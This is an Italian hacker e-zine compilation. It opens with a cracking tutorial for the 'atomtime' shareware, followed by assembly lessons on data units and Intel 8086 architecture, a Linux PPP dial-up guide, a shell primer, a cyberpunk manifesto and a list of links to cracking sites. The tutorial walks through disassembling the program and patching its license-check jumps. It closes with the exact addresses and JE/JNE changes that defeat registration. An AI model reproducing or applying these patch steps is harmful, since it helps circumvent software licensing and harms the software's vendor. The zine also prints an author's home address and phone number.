tentiamo di registrarci con un solito codice a caso. Se vi dice che il codice è corretto mandatemi una mail con i numeri che vorreste giocare al super-enalotto :-PPPP, altrimenti scrivete il messaggio di errore (in questo caso "License data is invalid. Either...). Ora apriamo Wdasm, Disassembler, Open file to disassemble, selezioniamo l'eseguibile, aspettiamo che lo apra ed andiamo a guardare le String References (penultimo pulsante da destra) (lo so, con il SICE è tutto più facile e veloce, ma uno che sa bene utilizzare il SoftICE per crackare non ha certo bisogno di questo tut. !!). Beh, bisogna dire che i programmatori non si siano dati la briga di nascondere le ref. perchè verso la metà troviamo i seguenti messaggi: "License validated. Thank you " Eh eh, proprio quello che cercavamo :)). "Ma come", direte voi, "ignori il messaggio di errore che hai trovato prima?" Il fatto è che ovviamente scrivo questo tut. DOPO aver crackato il prg. e so che attorno a quella ref. rischiamo di perderci tra le call ed i jump, così usiamo un altro "metodo". Non può non saltare all'occhio (ahii! :-PP) alla riga 00406010 un jump condizionato che, guarda caso, ci porta all ref. di errore. Ehi! così è troppo facile. Un jump è un "salto" del programma ad un certo punto. Per esempio il programma dice "Il codice inserito è giusto?" Se sì vai al messaggio che dice che è registrato, altrimenti dai l'errore. Questo "vai" è un jump. Esistono vari tipi di jump: quelli che useremo per questo programma sono solo di due tipi: 74 JE (jump if is equal) ovvero "se è uguale salta". 75 JNE (jump if is not equal) ovvero "se NON è uguale salta". I numeri che li precedono solo il loro corrispettivo in esadecimale. Ci serviranno dopo per poter patchare l'eseguibile. Ora andiamo nella directory del programma e facciamo un copia di nome atomtime2.exe e avviamo Hiew. Ctrl+\ per andare in C:, poi entriamo nella cartella del programma, invio sul atomtime2.exe, F4, selezioniamo decode, F5, mettiamo l'offset del jump alla riga 00406010 che in questo caso è 00004C10 (lo trovate nella barra in basso del Wdasm dove c'è scritto @offset .....), ora F3, mettiamo 75 (jne), invio fino a che non scompaiono le finestre, F9 per salvare ed F10 per uscire. Ora lanciamo l'eseguibile, ci registriamo e tadaaa!! Codice esatto! Ora usciamo e rientriamo. Doh! Non c'è l'ha mica registrato! :((( Ha solo cambiato il messaggio!! Beh, se esegue questo jump vuol dire che almeno fino a questo punto il programma ci arriva, quindi l'altro punto da patchare si trova sotto questo... Guardiamo la prima call, niente di utile, la seconda, toh, c'è un test eax, eax seguito da un jump. Proviamo a modificarli! Allora, debug, load process, load, goto address, mettiamo l'indirizzo del jump ovvero 0040A58F, patch code, jne 0040A59A, invio, apply patch, sì, close, sì- Run. A parte il nag iniziale che dice che "licensa data is invalid..." tutto OK. Modifichiamo come fatto prima, lanciamo e vediamo che è tutto OK, ma non possiamo lasciare quel messaggio!! Cerchiamo ancora nelle string refs e troviamo un "License data is not valid.". Perfetto! Andiamo a vedere dove ci porta... Scorrendo in su vediamo un Jne... Prima regola per crackare un programma: mai tralasciare un jump. Proviamo a patchare debuggando anche qui e... CRACK EFFETTUATO!!!!!! Riepiloghiamo i jump da modificare: 00406010 da JE a JNE 0040A58F da JE a JNE 00404788 da JNE a JE 60 PRINT "BRAVO, HAI CRACKATO IL TUO PRIMO PROGRAMMA" 70 PRINT "CIAO, ALLA PROSSIMA!!!!" 80 END -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= __ _ / _\ ___ ___(_) ___ _ __ ___ \ \ / _ \_ / |/ _ \| '_ \ / _ \ _\ \ __// /| | (_) | | | | __/ \__/\___/___|_|\___/|_| |_|\___| ___ BoBo & LaNdo _ / _ \_ __ ___ __ _ _ __ __ _ _ __ ___ _ __ ___ (_)_ __ __ _ / /_)/ '__/ _ \ / _` | '__/ _` | '_ ` _ \| '_ ` _ \| | '_ \ / _` | / ___/| | | (_) | (_| | | | (_| | | | | | | | | | | | | | | | (_| | \/ |_| \___/ \__, |_| \__,_|_| |_| |_|_| |_| |_|_|_| |_|\__, | |___/ |___/ #---[Bit, Byte, Word, Kilo, Mega]------------------------------------+b0nu$+----------# Bit, Byte, Word, Kilo, Mega ********************************** * b0nu$ presenta * * * * PROGRAMMAZIONE IN ASSEMBLY * * * * #2# * ********************************** Bit, Byte, Word, Kilo, Mega =========================================================================== Questi file sono protetti dal diritto d'autore e sono liberamente riproducibili a condizione di non farne uso comemrciale o economico o per fine di lucro senza la preventiva autorizzazione dell'autore. In ogni caso deve sempre essere indicato il nome dell'autore e il suo indirizzo. Ogni altra modalita' di utilizzo deve considerarsi contraria alla volonta' dell'Autore. =========================================================================== Come abbiamo visto nel precedente tutorial i calcolatori lavorano con numeri binari. Bene, un numero binario è composto da un certo numero di zeri e uni che presi singolarmente prendono il nome di BIT. Il BIT è la forma più breve di informazione può essere solo 0 o 1. Se prendiamo 8 bit e li affianchiamo otteniamo il famoso BYTE , quindi 01101001 10010001 00000100 sono byte. Il Byte è anche la quantità minima di informazione indirizzabile ed utilizzabile nella programmazione, difficilmente andrete a leggere in memoria o in CPU quantità piu' piccole di un Byte. Con un Byte possiamo rappresentare tutti i numeri tra 0 e 255 (ricordate 2^8-1) e in esadecimale tra 0 e FF. L'unione di 2 byte da luogo ad una WORD (16 bit), con una word si possono rappresentare tutti i numeri tra 0 e 65535 (0-FFFF). Dopo la word (provate ad indovinare !!) c'è la DOUBLE WORD (32 bit = 4 byte = 2 word) con la quale si possono rappresentare i numeri tra 0 e 4294967295 (0 - FFFFFFFF). Andando avanti incontriamo il KILOBYTE che contro ogni credenza popolare NON è 1000 byte ma bensi 1024 byte (2^10=1024).Il kilobyte si indica di solito con la lettera KB quindi 256KB sono 256000 byte. Dopo il Kilobyte viene il MEGABYTE (MB) che non sono altro che 1048578 (2^20) byte. Data la forte espansione delle memorie e il forte calo dei prezzi oggi si usa anche il GIGABYTE (1024MB) e comincia a sentirsi il TERABYTE (1024GB), ecc... Nota folkloristica : i programmi che scrivete (in C, Pascal, ecc...) una volta compilati e linkati altro non sono che una sequenza di zeri e uni che il calcolatore interpreta come istruzioni e dati, pensate che i primi programmatori non avevano a disposizione i linguaggi ad alto livello che ci sono oggi e dovevano scrivere i loro programmi immettendo manualmente ogni byte del loro programma. Anche il linguaggio assembly non è il livello piu' basso in assoluto infatti anche esso usa delle istruzioni mnemoniche per facilitare la scrittura dei programmi, queste istruzioni hanno comunque una precisa corrispondenza con i byte che compongono i programmi eseguibili e a livello teorico potremmo scrivere i nostri programmi byte per byte (in ricordo dei vecchi tempi). Questo tutorial è abbastanza breve, non c'è molto da dire su queste cose che immagino abbiate già sentito ormai anche dal farmacista, ho ritenuto comunque utile farlo per un breve ripasso e per completezza. Per richieste, consigli, suggerimenti, aiuti, contributi, ecc..., contattatemi b0nu$, Emanuele DelBono via Bazoli 27 25127 Brescia Tel 030 - 314591 e-mail : bonus@numerica.it hAck & c ya :-) #---[Architettura dei processori Intel]------------------------------+b0nu$+----------# Architettura dei processori Intel ********************************** * b0nu$ presenta * * * * PROGRAMMAZIONE IN ASSEMBLY * * * * #3# * ********************************** Architettura dei processori Intel =========================================================================== Questi file sono protetti dal diritto d'autore e sono liberamente riproducibili a condizione di non farne uso comemrciale o economico o per fine di lucro senza la preventiva autorizzazione dell'autore. In ogni caso deve sempre essere indicato il nome dell'autore e il suo indirizzo. Ogni altra modalita' di utilizzo deve considerarsi contraria alla volonta' dell'Autore. =========================================================================== Il primo vero microprocessore prodotto dalla Intel è l'8088 che entrò in produzione nel Giugno del 1978 !!! L'8088 è un processore a 16 bit con un BUS esterno a 8 bit e con un clock da 4.77MHz (8-|). Da allora se ne' fatta di strada (basti pensare al processore Pentium a 32 bit) ma in questo tutorial per capire a grandi linee l'architettura di un processore Intel farò riferimento all' 8086 (non preoccupatevi tutto quello che dirò vale anche per i nuovi processori...purtroppo) Allora per cominciare diamo un'occhiata al disegno qui sotto che rappresenta la struttura interna di un 8086 : Bus Dati -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- ^ ^ | ^ ^ ^ ^ | ^ ^ ^ | | | | | | | ----- | V V V | | | | | | || AX | | BX CX DX | V V | V | | ----- | | ------ ------ | ------ ------ | | | ------ | SI | | DI | | | SP | | IP | | V V | IR | ------ ------ | ------ ------ | ------ ------ ------ | | | | | | \ \ / / | | | | | | | \ \/ / | | | | | | | \ ALU / ------ ---------- | | | | | | \------/--->|FLAG|----->|Control | | | | | | | | ------ ---------- | | | | | ----------| | | | | | V V V V V -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- Bus Indirizzi Lo schema è abbastanza semplice ma analizziamolo nel dettaglio. A sinistra ci sono i due registri indice SI (Source Index) e DI (Destination Index) che vengono utilizzati come puntatori rispettivamente a dati sorgente e a dati destinazione. Questi sono registri a 16 bit e possono essere utilizzati anche come registri di OFFSET (Vedremo piu' avanti di cosa si tratta). Il registro SP è lo Stack Pointer (Puntatore allo Stack). Lo stack è un'area di memoria in cui si possono memorizzare dei dati da passare alle procedure (o anche per altri scopi). La sua struttura è di tipo LIFO (Last In First Out) cioè : l'ultimo inserito è il primo ad essere estratto. Vediamo meglio come funziona con un esempio: Supponiamo di chiamare una funzione che somma due numeri, il prototipo in C sarebbe: int Somma (int a,int b); Ebbene quando viene chiamata la procedura i due addendi vengono salvati nello stack tramite l'operazione che prende il nome di PUSH , quindi: |______| | | |______| SP --> | b | |______| | a | |______| Ora la procedura preleverà i due numeri dallo Stack con l'operazione di POP (attenzione all'ordine in cui vengono prelevati : prima b poi a !!!) ne effettuerà la somma e riporrà il risultato nello Stack: |______| SP --> | ris | |______| ris = a + b A questo punto il programma chiamante dovrà solo prelevare il risultato dallo stack. In realtà quando si chiama una procedura oltre ai parametri nello stack si salvano anche cose come ad esempio l'indirizzo della chiamata per poterci tornare una volta finita la procedura e altri registri necessari a ripristinare il flusso del programma. C'è da sottolineare che il contenuto dello Stack Pointer viene aggiornato automaticamente dalla CPU quando si eseguono le operazioni di PUSH e di POP e non andrebbe modificato manualmente a meno di sapere bene cosa si sta facendo!! Il registro IP (Instruction Pointer) contiene l'indirizzo della prossima istruzione da eseguire e il registro IR (Instruction Register) tiene il codice dell'istruzione in esecuzione, insieme eseguono il fetch dell'istruzione da eseguire : IR <- [[IP]] ; metto in IR il dato puntato dal contenuto di IP IP <- [IP] + 1 ; incremento il contenuto di IP Per chi non lo sapesse il fetch dell'istruzione consiste nel prelevamento e riconoscimento dell'istruzione da eseguire. Tutti i microprocessori Intel sono strutturati come una catena di montaggio suddivisa in stadi successivi, la CPU legge i codici operativi (OPCODE) delle istruzioni qualche ciclo di clock prima della loro reale esecuzione e sfrutta questo intervallo per eseguire la decodifica (oltre a qualche altro calcolo accessorio). Le istruzioni lette vengono messe nella PREFETCH QUEUE formata appunto da tutte le istruzioni lette ma non ancora eseguite, la dimensione della coda influisce sulla velocità (+ grande --> + veloce) anche se oltre un certo valore non si registra alcun miglioramento. Le dimensioni della Prefetch Queue di un 8088 erano di 4 byte, quella di un 486 è di 32 byte. I registri IP e IR non sono direttamente accessibili dal programma, anche se IP può essere indirettamente modificato tramite istruzioni di salto. Ci sono poi i registri General Purpose : AX, BX, CX, DX che possono essere usati dai nostri programmi per memorizzare dati, puntatori e risultati. AX - E' un registro a 16 bit divisibile in due registri a 8 bit : AH, AL in questo modo --------------------------------- | | | | | | | | | | | | | | | | | --------------------------------- |_____AH_______||_____AL________| |_______________AX________________| AX viene usato come destinazione nei calcoli matematici ( viene chiamato accumulatore). Va notato che cambiando il valore di AH e/o AL viene anche modificato il valore di AX !! BX - Come AX si divide in BH e BL può essere usato come registro di OFFSET o come registro indice. CX - (CH/CL) 16 bit (8+8) viene spesso usato come contatore nei cicli, infatti l'istruzione LOOP (che vedremo piu' avanti) decrementa il valore di CX fino a quando è uguale a zero. DX - (DH/DL) 16 bit (8+8) viene usato come contenitore per il resto nelle divisioni o nel caso di operazioni a 32 bit per contenere la parte alta del risultato. Inoltre viene usato come puntatore nelle operazioni di Input e Output. Oltre a questi registri presenti nello schema ne esistono altri: BP - (Base Pointer 16 bit) Viene usato come puntatore alla base dello stack. Registri di Segmento: CS - Code Segment : punta alla zona di memoria che contiene il codice, durante l'esecuzione del programma contiene la prossima istruzione da eseguire. (Attenzione: non può essere modificato) DS - Data Segment : punta alla zona di memoria adibita al contenimento dei dati ES - Extra Segment : lo dice il nome, può essere usato come registro di segmento ausiliario. SS - Stack Segment : punta alla zona di memoria in cui risiede lo stack.Attenzione a "giocare" con questo segmento!! Per processori 386 e superiori esistono altri due registri di segmento FS e GS che possono essere usati come supporto per le operazioni. Esiste inoltre il registro di FLAG in cui vengono riportate alcune informazioni circa le istruzioni in svolgimento, la sua struttura è la seguente: _______________________________________ |11|10|F|E|D|C|B|A|9|8|7|6|5|4|3|2|1|0| --------------------------------------- | | | | | | | | | | | | | | | | | +--- CF Carry Flag | | | | | | | | | | | | | | | | +----- 1 | | | | | | | | | | | | | | | +------- PF Parity Flag | | | | | | | | | | | | | | +--------- 0 | | | | | | | | | | | | | +----------- AF Auxiliary Flag | | | | | | | | | | | | +------------- 0 | | | | | | | | | | | +--------------- ZF Zero Flag | | | | | | | | | | +----------------- SF Sign Flag | | | | | | | | | +------------------- TF Trap Flag (Single Step) | | | | | | | | +--------------------- IF Interrupt Flag | | | | | | | +----------------------- DF Direction Flag | | | | | | +------------------------- OF Overflow flag | | | | +----------------------------- IOPL I/O Privil. Level(286+ only) | | | +------------------------------- NT Nested Task Flag (286+ only) | | +--------------------------------- 0 | +----------------------------------- RF Resume Flag (386+ only) +-------------------------------------- VM Virtual Mode Flag (386+ only) Così se ad esempio dopo una sottrazione matematica il risultato è zero il bit relativo allo Zero Flag (bit 6)viene settato a 1. Nei processori 386 e superiori sono presenti registri a 32 bit (!)con le funzionalità di quelli visti essi sono : EAX, EBX, ECX, EDX, ESI, EDI, EBP, CR0,CR2, CR3, DR0, DR1, DR2, DR3, DR6, DR7, dove CR sta per Control Register e DR Debug Register. Nei programmi posso comunque usare AX che viene considerato come registro a 16 bit. Dalla generazione 486 in poi sono stati aggiunti : TR3, TR4, TR5 (Test Register). SEGMENTO e OFFSET Vi prego di prestare molta attenzione a questo argomento che ritengo di cruciale importanza: il modo in cui la CPU vede ed accede alla memoria. I progettisti dei processori 8088 e 8086 nati anni e anni fa non potevano prevedere (???) che la tecnologia arrivasse a costruire macchine dotate di decine di MegaByte di memoria e cosi si sono limitati a progettare una CPU che riuscisse ad indirizzare solo un misero MegaByte :-( Per indirizzare 1Mb sono necessari 20 bit (2 ^ 20 = 1Mb) e noi abbiamo a disposizione solo registri a 16 bit, e allora come facciamo ? La soluzione adottata dai progettisti del'Intel è quella di adottare un indirizzo costituito da 2 parti : un SEGMENTO e un OFFSET di 16 bit ciascuno , che uniti nel giusto modo danno origine all'indirizzo effettivo. Vediamo un esempio. L'indirizzo 21F2:C01E è nella forma SEGMENT:OFFSET (gli indirizzi vengono dati sempre in base esadecimale per facilitare i calcoli) dove il segmento vale 21F2 e l'offset C01E entrambi di 16 bit, quindi un totale di 32 bit che non sono tutti necessari per indirizzare un solo Mega di memoria, e qui sta il bello !!! L'indirizzo nella forma SEG:OFF viene "trattato" per dare origine al vero indirizzo cioè il segmento viene moltiplicato per 16 (10h) e il risultato viene sommato all'offset. Nell'esempio precedente: 21F2 * 10 = 21F20 + C0E1 = ------ 2E001 Otteniamo così un indirizzo a 20 bit !! (Semplice vero: beh forse non tanto !). Spesso invece di moltiplicare il numero per 16 (10h) si effettua uno SHIFT a sinistra di 4 bit ma come vedremo è la stessa cosa. Come abbiamo visto prima i registri dedicati a contenere il valore del segmento so CS,DS,ES e SS, sono registri a 16 bit ciò vuol dire che un segmento è lungo 64Kb. Del Mega che si può indirizzare se ne può usare solo i primi 640Kb perchè i rimanenti sono occupati dalla memoria video della VGA (a partire da A000:0000) e dal BIOS e quindi non ce ne rimane molto !!! Naturalmente esistono oggi tecniche per andare oltre il Megabyte come il modo protetto o il metodo di indirizzamento FLAT che vedremo più avanti. Bene anche questa puntata è terminata abbiamo conosciuto alcuni elementi fondamentali che ci serviranno per scrivere programmi in Assembly. So che non vedete l'ora di scriverne uno ma dovete avere un po' di pazienza: per programmare in Assembly (non mi stancherò mai di ripeterlo) bisogna conoscere a fondo l'architettura del computer visto che è proprio quello che andiamo a programmare!! Per richieste, consigli, suggerimenti, aiuti, contributi, ecc..., contattatemi b0nu$, Emanuele DelBono via Bazoli 27 25127 Brescia Tel 030 - 314591 e-mail :bonus@numerica.it hAck & c ya :-) +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ _____ _ _ _ / ___| (_) | | (_) BoBo & LaNdo \ `--. ___ _____ ___ _ __ ___ | | _ _ __ _ ___ __ `--. \/ _ \_ / |/ _ \| '_ \ / _ \ | | | | '_ \| | | \ \/ / /\__/ / __// /| | (_) | | | | __/ | |___| | | | | |_| |> < \____/ \___/___|_|\___/|_| |_|\___| \_____/_|_| |_|\__,_/_/\_\ Collegarsi con Linux Thanks to: PigPen, LoedFelix, Spirit, Tsunami e BlackBox Norby (il mio maestro hihihi :)) Mandarin3 (Legion of Neptun!! :) e Berseker [c]b[a], Axe, SoftWord, Manson Duke_Nuke e tutto il Folug XEvilStar, MadDog, e tutto il chan #mentor HH, The_Crow, [astro], e tutto il chan #forlì BruceLee, ZioMarzo, e BugByte (ma dove sei finito?!?!?) Per la stesura di questo articolo soprattutto Duke-Nuke, LordFelix, e XevilStar :DD Collegarsi in Linux è uno dei primi ostacoli che si affronta entrando nel mondo Linuxiano :), anche se inizialmente possa sembrare difficile, appenqa collegati, vi guarderete indietro e vi direte: ma che cazzata :DDD Ci sono vari metodi per farlo....elencherò i più comuni e sicuri. Prima di iniziare, però, è d'obbligo però parlare di alcuni file.... 1° file: /etc/resolv.conf, qui ci stanno i dns del provider isp, cioè il punto di riferimento dove la nosta macchina andrà a trasformare gli host in ip, e vice-versa (visto che internet non 'capisce' gli host come pippo.bau, ma solo gli ip come 1.2.3.4) 2° file: /etc/ppp/pap-secret, qui vanno piazzate il login e la pass del vostro account, in questa forma: login * password 3°file: /etc/ppp/options, qui, evidentemente :), ci vanno le opzioni per il demone pppd, mostrerò in seguito cosa mettere, xchè ci sono differenze a seconda del metodo che userete. Premetto anche che dovrete settare la stringa di inizializzazzione modem (vi spigo poi dove). Questa di default è ATZ, voi mettete ATX3, che è per la linea italiana (o se no mettete ATX0, che non riconosce proprio la linea, e può essere italiana, americana..ecc....(tnx LordFelix for this info)) Inoltre quando vi riferite alla porta del modem, vi consiglio sempre ci creare un linuk simbolico al device della porta, con questo comando: #ln -s /dev/ttyS1 /dev/modem (ricordo che la ttyS1 è la com2 nel dos, la com 1 è ttyS0....) Ok...ora cercherò di elencare in modo chiaro e semplice i modi + comuni per collegarsi :) Il primo, ed anche il + tipico :D, è quello di utilizzare uno script per il pppd. Dobbiamo però settare 'a dovere' il /etc/ppp/options :) e il /etc/ppp/script (potete chiamarlo come vi pare...e metterlo dove volete, io ho scelto questo). Ok, questo è un esempio, le spiegazioni delle righe di script le ho messe tra '#', non mettetele nel vero script ;D (tnx Duke_Nuke :) ----- Configurazione ppp: *** /etc/ppp/options: defaultroute #setta le tabelle di routing di default (cioè quelle #passategli da provider) noipdefault modem /dev/modem #link simbolico alla ttySx 115200 # velocità di connessione crtscts passive name "nome_utente" #utente con cui ci si collegherà *** /etc/ppp/pap-secrets: "nome_utente" * "password" *** /etc/ppp/pppscript: TIMEOUT 60 #dice al modem di terminare la connessione oltre i 60s #di inattività ABORT ERROR ABORT BUSY ABORT "NO CARRIER" #dice al modem di annullare se in risposta questi #errori: error, busy, no carrier, no dialtone ABORT "NO DIALTONE" "" "ATX0" OK "atdt666" #666 è in numero da chiamare del provider ;D TIMEOUT 75 CONNECT *** /etc/resolv.conf search cacca.net #l'host del provider nameserver 1.2.3.4 #dns primario nameserver 1.2.3.5 #dins secondario Per avviare il tutto dovete digitare: /usr/bin/pppd -detach connect "/usr/sbin/chat -v -f /etc/p (vi consiglio di fare uno script anche per questo, così non dovrete riscriverlo tutte le volte) Il secondo metodo che si può usare è per i sistemi in X, con i famosi kppp e gppp. Io uso il kppp, ma il gppp non deve essere tanto diverso..... Andiamo sulla K > Internet > Kppp. Ora accounts > nuovo. Nome connessione: quellochevolete Numero Tel: il tel del vostro provider. Autenticazione: PAP Andate su Ip e selezionate Indirizzo dinamico. Su DNS aggiungete il DNS del vs. provider, e selezionatelo. Su Gateway, selezionate Gateway predefinito. Su script di accesso lasciate tutto com'e'. Su costi telefonici Italy > TUT e premete OK Andate su Modem e come porta selezionate /dev/ttyS1 Velocità 115200. Poi andate su Comandi Modem: e nella Stringa di inizializzazione al posto di ATZ scrivete ATX3&F e su Stringa di chiamata sostituite ad ATDT ATX3DT. Col mio modem riesco a connettermi, se avete problemi andate a controllare sul libretto del vs modem. Premete OK. Ritornati al kppp inserite user e passwd, e BUONA NAVIGAZIONE Il terzo ed ultimo metodo, ed anche il mio preferito ;)), è quello di utilizzare un programma apposito, come minicom o altri, io preferisco il wvdial (tnx xevilstar :), facilmente reperibile a www.freshmeat.net. Basta compilarlo con 'make' e 'make install'. Poi cerare un file di configurazione...io ho scelto /etc/wvdial.conf, e lanciare (da /usr/local/bin, o dove l'avete compilato) questo comando: ./wvdialconf /etc/wvdial.conf, col modem acceso ;), e poi, dopo che il wvdialconf ha riconosciuto il modem, ./wvdial, e aspettate di essere on-line. Questo può essere un esepio di wvdial.conf (anche qui i '#' sono commenti, toglieteli nel vero): [Dialer Defaults] Modem = /dev/modem #device modem Baud = 57600 #velocità modem Init = ATX0 #stringa di inizializz Init2 = ATX3 #'' " '' 2 Phone = 666 #telefono Username = cazwar #user Password = my-password #pass Per controllare di essere veramente collegati fare un ping a un qualsiasi host. Questi tre metodi sono semplici, ma con caratteristiche diverse: il primo è il più 'spartano', per molti il più veloce, e sicuramete molto efficente e usato da tanti utenti Linux; il secondo è forse il più comodo per chi usa X, ma molti lo considerano troppo lento. Io preferisco il terzo, perchè è una via di mezzo fra i 2: abbastanza veloce e facilmente configurabile. Liquid, the SkySpirit liquido@freemail.it La Shell Be' inanzitutto bisogna chiarire una piccola questione che sicuramente nella mente dei nostri Wannabe . Una brutto vizio delle zine è di non tener conto che chi le prende in mano , non sempre ha delle basi sugli argomenti trattati e un'altrettanto brutto vizio dei wannabe è quello di credere che basta prendere una zine o un doc qualsiasi dai siti informativi riguardanti l'Hacking per sapere tutto . Per venire incontro ai nostri lettori abbiamo deciso di scrivere oltre a degli articoli stesi in "modo tecnico" anche degli altri che trattano gli argomenti in modo più "esplicativo" soffermandosi in modo più approfondito su quei concetti ritenuti fondamentali per completa comprensione delle informazioni di natura tecnica . -=La Shell =- la shel è il tramite tra voi ed il kernel ; quando voi digitate sulk prompt del vostro sistema operativo preferito ( linux ovviamente ! ;) ) interagite tramite la shell per impartire i comandi . Essa è una sorta di archivio di tutti i comandi che potete impartire al Kernel ; come è facilmente intuibile i comandi impartibili cambiano a seconda della shell usata e _ \_) _| | _) _) | | / | _| | -_)(_-<(_-< | _ \ \ | _` | -_) | _|_\_|_| _|\___|___/___/_|\___/_| _|_| \__,_|\___|_|BoBo & LaNdo \ \ / | | _| _| \ \ \ / _` | \ \ _` | _ \ -_) (_-< _| _` | _| _| \_/\_/\__,_|_| _|_| _|\__,_|_.__/\___| ___/\__|\__,_|_| _| Manifesto Hacker and CyberPunk di Away Siamo le MENTI ELETTRONICHE, un gruppo di liberi pensatori ribelli. Cyberpunk. Viviamo nel cyberspazio, siamo dappertutto, non conosciamo frontiere. Questo e' il nostro manifesto. Il manifesto del cyberpunk.Siamo quelli, i Diversi. Ratti tecnologici, che nuotano nell'oceano dell'informazione. Siamo quelli schivi, i ragazzini a scuola che siedono nell'ultimo banco, nell'angolo della classe. Siamo i giovani che tutti considerano strani. Siamo gli studenti che hackano i sistemi, che esplorano la profondita' della sua portata. Siamo quelli cresciuti nel parco, seduti su una panchina, con il portatile sulle ginocchia, che programmano l'ultima realta' virtuale. Nostro e' il garage, riempito di aggeggi elettronici. Il saldatore nell'angolo della scrivania e vicino la radio smontata - anche queste cose sono nostre. Nostra e' la cantina con il computer, la stampante che ronza e il modem che fa beep. Siamo quelli che vedono la realta' in un modo diverso. Il nostro punto di vista mostra piu' di quello che la gente normale vede. Essi vedono solo quello che e' esternamente, ma noi vediamo dentro. Questo e' quello che siamo, realisti con gli occhiali dei sognatori. Siamo quelle strane persone, per la maggior parte sconosciute ai vicini. Gente, assorta nei suoi pensieri, che siede tutti i giorni davanti al computer, che mette a soqquadro la rete per qualcosa. Non usciamo spesso, solo di tanto in tanto, solo per andare al vicino negozio di radiofonia, o al solito bar per incontrare i pochi amici che abbiamo, o per incontrare un cliente, o dal farmacista... o solo per una passeggiata. Non abbiamo molti amici, solo alcuni con cui andare alle feste. Tutti gli altri che conosciamo, li conosciamo sulla rete. I nostri veri amici sono li', all'altro capo del filo. Li conosciamo con il nostro canale di irc preferito, con i news-groups, con i sistemi nei quali cazzeggiamo. Siamo quelli a cui non importa cio' che gli altri pensano di noi, non ci importa di come sembriamo o cosa la gente dice in nostra assenza. La societa' non ci capisce, noi siamo "strani" e "pazzi" agli occhi della gente normale che vive lontano dalla libera informazione e dalle libere idee. La societa' impedisce la nostra corrente di pensiero - una societa' che vive, pensa e respira in una unica maniera - uno stereotipo. Ci rinnegano perche' pensiamo come gente libera, e il libero pensiero e' proibito. Il cyberpunk ha apparenze esteriori, e' non-movimento. I cyberpunks sono persone, che partono dalla normalita', sconosciute agli altri, all'artista tecno-maniaco, al musicista, allo studente superficiale, che suonano musica elettronica. Il cyberpunk non e' piu' un genere letterario, nemmeno una normale sottocultura. Il cyberpunk e' una nuova cultura della solitudine, figlia di una nuova generazione. Una cultura che unsce i nostri interessi e i nostri punti di vista. Siamo un'unita'. Siamo Cyberpunks +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ___ ___ ___ ___ /\__\ ___ /\__\ /\__\ /\ \BoBo & LaNdo /:/ / /\ \ /::| | /:/ / \:\ \ /:/ / \:\ \ /:|:| | /:/__/ \:\ \ /:/ / /::\__\ /:/|:| |__ /::\__\____ \:\ \ /:/__/ __/:/\/__/ /:/ |:| /\__\ /:/\:::::\__\ _______\:\__\ \:\ \ /\/:/ / \/__|:|/:/ / \/_|:|~~|~ \::::::::/__/ \:\ \ \::/__/ |:/:/ / |:| | \:\~~\~~ \:\ \ \:\__\ |::/ / |:| | \:\ \ \:\__\ \/__/ /:/ / |:| | \:\__\ \/__/ \/__/ \|__| \/__/ LINKZ: by Reset (Attila_Hack MemberZ) * Fa schifo lo metto solo per prenderlo per il culo ** ...ehmm meglio di niente *** discreto **** buono ***** sito ottimo ****** figaxxata di sito (questo sito cià i controca**i) Spaghetti Phreakers ***** Il creatore del John the ripper ****** bfi ***************** Il grande Cavallo de Cavallis ***** Gli Spippolatori ***** MrZero **** Il sito di Kalidor ****** RingZ3r0 (Reverse engineering) ********** Drac (Sito ricco di crackz) ****** Il Sito del Grande Quequero: (Un sito di un nostro MemberZ che smanetta molto con il Reverse Engineering! Se non andate a vederlo siete morti!!!!!!) *************** Valvoline crew: (Il sito dei nostri amici Valvoline, Visitare Pleeese!!!!) ****************** Il sito di b0nu$: (Un altro sito di un nostro MemberZ che smanetta molto con l'Assembler, assolutamente da visitare!) ***************** Boozed Toxin: Il sito di T0rment0 che sforna una nuova e-zine AntiSocial **** The Pac-Man **** Anarchy in the system ***** (sito che sforna la rivista Anarchy in the system) **** Insecure **** ZioMarzo **** (ancora in allestimento) Dislessici ********** Artemis **** LeLe **** Bobbymetal *** Questa volta solo siti caxxuti:) Hi all - Reset (Attila-Hack MemberZ) P.S. Se me ne sono perso qualcuno, scrivete a attila_hack@hotmail.com e provvederò ;-).